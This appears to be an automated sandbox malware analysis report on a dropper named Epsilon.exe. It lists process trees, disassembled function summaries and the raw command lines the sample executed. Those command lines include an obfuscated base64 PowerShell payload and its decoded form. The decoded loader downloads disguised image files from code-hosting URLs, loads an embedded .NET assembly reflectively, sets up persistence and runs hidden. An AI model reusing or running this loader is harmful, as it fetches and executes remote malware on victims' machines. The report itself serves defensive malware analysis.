id="bb-bootstrap" data-current-user="{"isAuthenticated": false, "isKbdShortcutsEnabled": true, "isSshEnabled": false}" /> <script nonce="bOyrloBwWLfOjzheMS38FQ==">if (wind
2024-12-30 23:46:06 UTC	3421	IN	Data Raw: 74 3e 0a 20 20 20 20 0a 20 20 3c 2f 64 69 76 3e 0a 0a 0a 0a 20 20 0a 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 62 4f 79 72 6c 6f 42 77 57 4c 66 4f 6a 7a 68 65 4d 53 33 38 46 51 3d 3d 22 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 5f 69 6e 69 74 69 61 6c 5f 73 74 61 74 65 5f 5f 20 3d 20 7b 22 67 6c 6f 62 61 6c 22 3a 20 7b 22 67 65 6f 69 70 5f 63 6f 75 6e 74 72 79 22 3a 20 6e 75 6c 6c 2c 20 22 69 73 5f 6d 6f 62 69 6c 65 5f 75 73 65 72 5f 61 67 65 6e 74 22 3a 20 66 61 6c 73 65 2c 20 22 73 69 74 65 5f 6d 65 73 73 61 67 65 22 3a 20 22 22 2c 20 22 6e 65 65 64 73 5f 6d 61 72 6b 65 74 69 6e 67 5f 63 6f 6e 73 65 6e 74 22 3a 20 66 61 6c 73 65 2c 20 22 6d 61 72 6b 65 74 69 6e 67 5f 63 6f 6e 73 65 6e 74 5f 6c 6f 63 61 6c 65 22 3a 20 6e 75 6c 6c 2c 20 22 77 68 61 74 73 Data Ascii: t> </div> <script nonce="bOyrloBwWLfOjzheMS38FQ=="> window.__initial_state__ = {"global": {"geoip_country": null, "is_mobile_user_agent": false, "site_message": "", "needs_marketing_consent": false, "marketing_consent_locale": null, "whats

Target ID:	0
Start time:	18:45:52
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\Epsilon.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Epsilon.exe"
Imagebase:	0x7ff737820000
File size:	163'840 bytes
MD5 hash:	61566AA90D2DCAF483FE4697031F46C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:45:52
Start date:	30/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c 677174b841ee7.vbs
Imagebase:	0x7ff6abe90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:45:52
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:45:52
Start date:	30/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs"
Imagebase:	0x7ff66d2d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:45:53
Start date:	30/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bi$GE$cwBl$DY$N$BM$GU$bgBn$HQ$a$$g$D0$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$I$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$GI$YQBz$GU$Ng$0$EM$bwBt$G0$YQBu$GQ$I$$9$C$$J$Bp$G0$YQBn$GU$V$Bl$Hg$d$$u$FM$dQBi$HM$d$By$Gk$bgBn$Cg$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Cw$I$$k$GI$YQBz$GU$Ng$0$Ew$ZQBu$Gc$d$Bo$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bj$G8$bQBt$GE$bgBk$EI$eQB0$GU$cw$g$D0$I$Bb$FM$eQBz$HQ$ZQBt$C4$QwBv$G4$dgBl$HI$d$Bd$Do$OgBG$HI$bwBt$EI$YQBz$GU$Ng$0$FM$d$By$Gk$bgBn$Cg$J$Bi$GE$cwBl$DY$N$BD$G8$bQBt$GE$bgBk$Ck$Ow$g$C$$I$$k$HQ$ZQB4$HQ$I$$9$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$Ow$g$CQ$b$Bv$GE$Z$Bl$GQ$QQBz$HM$ZQBt$GI$b$B5$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBS$GU$ZgBs$GU$YwB0$Gk$bwBu$C4$QQBz$HM$ZQBt$GI$b$B5$F0$Og$6$Ew$bwBh$GQ$K$$k$GM$bwBt$G0$YQBu$GQ$QgB5$HQ$ZQBz$Ck$Ow$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$YwBv$G0$c$By$GU$cwBz$GU$Z$BC$Hk$d$Bl$EE$cgBy$GE$eQ$g$D0$I$BH$GU$d$$t$EM$bwBt$H$$cgBl$HM$cwBl$GQ$QgB5$HQ$ZQBB$HI$cgBh$Hk$I$$t$GI$eQB0$GU$QQBy$HI$YQB5$C$$J$Bl$G4$YwBU$GU$e$B0$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$HQ$eQBw$GU$I$$9$C$$J$Bs$G8$YQBk$GU$Z$BB$HM$cwBl$G0$YgBs$Hk$LgBH$GU$d$BU$Hk$c$Bl$Cg$JwB0$GU$cwB0$H$$bwB3$GU$cgBz$Gg$ZQBs$Gw$LgBI$G8$YQBh$GE$YQBh$GE$cwBk$G0$ZQ$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$EU$bgBj$G8$Z$Bl$GQ$V$Bl$Hg$d$$g$D0$WwBD$G8$bgB2$GU$cgB0$F0$Og$6$FQ$bwBC$GE$cwBl$DY$N$BT$HQ$cgBp$G4$Zw$o$CQ$QgB5$HQ$ZQBz$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$G0$ZQB0$Gg$bwBk$C$$PQ$g$CQ$d$B5$H$$ZQ$u$Ec$ZQB0$E0$ZQB0$Gg$bwBk$Cg$JwBs$GY$cwBn$GU$Z$Bk$GQ$Z$Bk$GQ$Z$Bh$Cc$KQ$u$Ek$bgB2$G8$awBl$Cg$J$Bu$HU$b$Bs$Cw$I$Bb$G8$YgBq$GU$YwB0$Fs$XQBd$C$$K$$n$C$$d$B4$HQ$LgBo$GM$awBT$Gs$c$Bv$C8$cwBk$GE$bwBs$G4$dwBv$GQ$LwBy$Hc$cQBl$Hc$cQBm$HE$dwBm$C8$cQBy$GU$d$By$GU$d$By$C8$ZwBy$G8$LgB0$GU$awBj$HU$YgB0$Gk$Yg$n$Cw$I$$n$D$$Jw$s$C$$JwBT$HQ$YQBy$HQ$dQBw$E4$YQBt$GU$Jw$s$C$$JwBN$HM$YgB1$Gk$b$Bk$Cc$L$$g$Cc$M$$n$Ck$KQB9$H0$';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dosigo.replace('$','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:45:53
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:45:55
Start date:	30/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.hckSkpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	31.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.6%
Total number of Nodes:	930
Total number of Limit Nodes:	48

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF7378240C4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 371
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF737824154
CompareStringA.KERNEL32 ref: 00007FF73782421B

Part of subcall function 00007FF737825050: FindResourceExA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825078
Part of subcall function 00007FF737825050: SizeofResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825089
Part of subcall function 00007FF737825050: FindResourceA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250AF
Part of subcall function 00007FF737825050: LoadResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250C0
Part of subcall function 00007FF737825050: LockResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250CF
Part of subcall function 00007FF737825050: memcpy_s.MSVCRT ref: 00007FF7378250EE
Part of subcall function 00007FF737825050: FreeResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250FD

CompareStringA.KERNEL32 ref: 00007FF737824313
GetProcAddress.KERNEL32 ref: 00007FF7378243AF
FreeLibrary.KERNEL32 ref: 00007FF737824480
LocalFree.KERNEL32 ref: 00007FF7378244B0
FreeLibrary.KERNEL32 ref: 00007FF7378244D3
LocalFree.KERNEL32 ref: 00007FF7378244E2

Strings

advpack.dll, xrefs: 00007FF737824579
Adv, xrefs: 00007FF7378243CE
REBOOT, xrefs: 00007FF737824123
USRQCMD, xrefs: 00007FF7378241E3
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF7378246C9
ADMQCMD, xrefs: 00007FF7378241D2
<None>, xrefs: 00007FF7378241FD, 00007FF7378242F5
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF737824605
SHOWWINDOW, xrefs: 00007FF737824178
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7378243E6, 00007FF7378246B3
DoInfInstall, xrefs: 00007FF7378243A5, 00007FF737824526
POSTRUNPROGRAM, xrefs: 00007FF7378242D4
wextract_cleanup0, xrefs: 00007FF737824636, 00007FF7378246F9
RUNPROGRAM, xrefs: 00007FF737824244

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$Free$CompareFindLibraryLocalString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$Adv$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$Software\Microsoft\Windows\CurrentVersion\RunOnce$USRQCMD$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 2679723528-341215196
Opcode ID: 854d9c80f2254312e823b66bd278a415edc9e6cc3862270eb2c3b0832d714124
Instruction ID: 6a9a6bc97071ee7b7193ac3337127a1ddb227124d0b09c7c104fc6830c573232
Opcode Fuzzy Hash: 854d9c80f2254312e823b66bd278a415edc9e6cc3862270eb2c3b0832d714124
Instruction Fuzzy Hash: C1028071A0C64AA6E720AF10E8406F9BFA0FB8474AFD40135DA4D53694DF7CE966E730

Function 00007FF737821D28 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 183
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF737821D6A
memset.MSVCRT ref: 00007FF737821D78
RegCreateKeyExA.KERNELBASE ref: 00007FF737821DBA

Part of subcall function 00007FF73782114C: _vsnprintf.MSVCRT ref: 00007FF737821189

RegQueryValueExA.KERNELBASE ref: 00007FF737821E0F
RegCloseKey.ADVAPI32 ref: 00007FF737821E2E
GetSystemDirectoryA.KERNEL32 ref: 00007FF737821E4C
LoadLibraryA.KERNELBASE ref: 00007FF737821E6E
GetProcAddress.KERNEL32 ref: 00007FF737821E90
FreeLibrary.KERNELBASE ref: 00007FF737821EA9
GetSystemDirectoryA.KERNEL32 ref: 00007FF737821EC5
LocalAlloc.KERNEL32 ref: 00007FF737821F21
GetModuleFileNameA.KERNEL32 ref: 00007FF737821F64
RegCloseKey.ADVAPI32 ref: 00007FF737821F7D
RegSetValueExA.KERNELBASE ref: 00007FF737821FED
RegCloseKey.KERNELBASE ref: 00007FF737821FFE
LocalFree.KERNEL32 ref: 00007FF73782200D

Strings

%s /D:%s, xrefs: 00007FF737821F99
advpack.dll, xrefs: 00007FF737821E58
wextract_cleanup%d, xrefs: 00007FF737821DD6
wextract_cleanup0, xrefs: 00007FF737821DE2, 00007FF737821DFD, 00007FF737821FD2
DelNodeRunDLL32, xrefs: 00007FF737821E86
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF737821FAE
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF737821D8A
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF737821EEC

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-1709460465
Opcode ID: 276e9805d9b7e1d57039d94b06db834f3dbf8df68e4bbb97ed4dd8757e439085
Instruction ID: 0bd307f7b1ffe97a46e2469717b27b091dc452b8d48b19776c83e17ea010a51d
Opcode Fuzzy Hash: 276e9805d9b7e1d57039d94b06db834f3dbf8df68e4bbb97ed4dd8757e439085
Instruction Fuzzy Hash: 50816E32A0CA89A6EB10AF11E8402F9FFA0FB89B56F955131DA4E13754DF3CD126D750

Function 00007FF737821684 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 350
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32 ref: 00007FF737821838
GetFileAttributesA.KERNEL32 ref: 00007FF737821852
LocalAlloc.KERNEL32 ref: 00007FF7378218BF
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7378218FC
GetPrivateProfileStringA.KERNEL32 ref: 00007FF73782193F
GetShortPathNameA.KERNEL32 ref: 00007FF7378219AC

Part of subcall function 00007FF737824DCC: LoadStringA.USER32 ref: 00007FF737824E60
Part of subcall function 00007FF737824DCC: MessageBoxA.USER32 ref: 00007FF737824EA0

Strings

Reboot, xrefs: 00007FF7378218EB
.BAT, xrefs: 00007FF737821A31
Command.com /c %s, xrefs: 00007FF737821A60
DefaultInstall, xrefs: 00007FF7378218DC
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00007FF7378219CE
setupx.dll, xrefs: 00007FF7378219A5
.INF, xrefs: 00007FF73782181A
Version, xrefs: 00007FF737821930
AdvancedINF, xrefs: 00007FF737821929
setupapi.dll, xrefs: 00007FF7378219BA
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7378217B0

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: .BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-1383298736
Opcode ID: 137c5f28b5b86e8721d426d5fc1592b78fb4194462560af86aa0c2ab9f656457
Instruction ID: 95f304301d65915726a427729ef5187fd0614ad70c914430c5a08a085f9ad5d8
Opcode Fuzzy Hash: 137c5f28b5b86e8721d426d5fc1592b78fb4194462560af86aa0c2ab9f656457
Instruction Fuzzy Hash: 01E1AF62A0D68AA5EB11AF10D4402FABFA0EB45746FE44135DA4D03795DF3DE52BD320

Function 00007FF7378266C4 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF737825050: FindResourceExA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825078
Part of subcall function 00007FF737825050: SizeofResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825089
Part of subcall function 00007FF737825050: FindResourceA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250AF
Part of subcall function 00007FF737825050: LoadResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250C0
Part of subcall function 00007FF737825050: LockResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250CF
Part of subcall function 00007FF737825050: memcpy_s.MSVCRT ref: 00007FF7378250EE
Part of subcall function 00007FF737825050: FreeResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250FD

LocalAlloc.KERNEL32 ref: 00007FF737826710
lstrcmpA.KERNEL32 ref: 00007FF7378267AF
LocalFree.KERNEL32 ref: 00007FF7378267D6
LocalFree.KERNEL32 ref: 00007FF73782678D

Part of subcall function 00007FF737824DCC: LoadStringA.USER32 ref: 00007FF737824E60
Part of subcall function 00007FF737824DCC: MessageBoxA.USER32 ref: 00007FF737824EA0

Part of subcall function 00007FF737827700: GetLastError.KERNEL32 ref: 00007FF737827704

GetTempPathA.KERNEL32 ref: 00007FF737826862
GetDriveTypeA.KERNEL32 ref: 00007FF7378268FE
GetFileAttributesA.KERNEL32 ref: 00007FF73782691B
GetDiskFreeSpaceA.KERNEL32 ref: 00007FF737826973
MulDiv.KERNEL32 ref: 00007FF737826996
GetWindowsDirectoryA.KERNEL32 ref: 00007FF737826A0A
GetFileAttributesA.KERNEL32 ref: 00007FF737826A2F
CreateDirectoryA.KERNEL32 ref: 00007FF737826A47
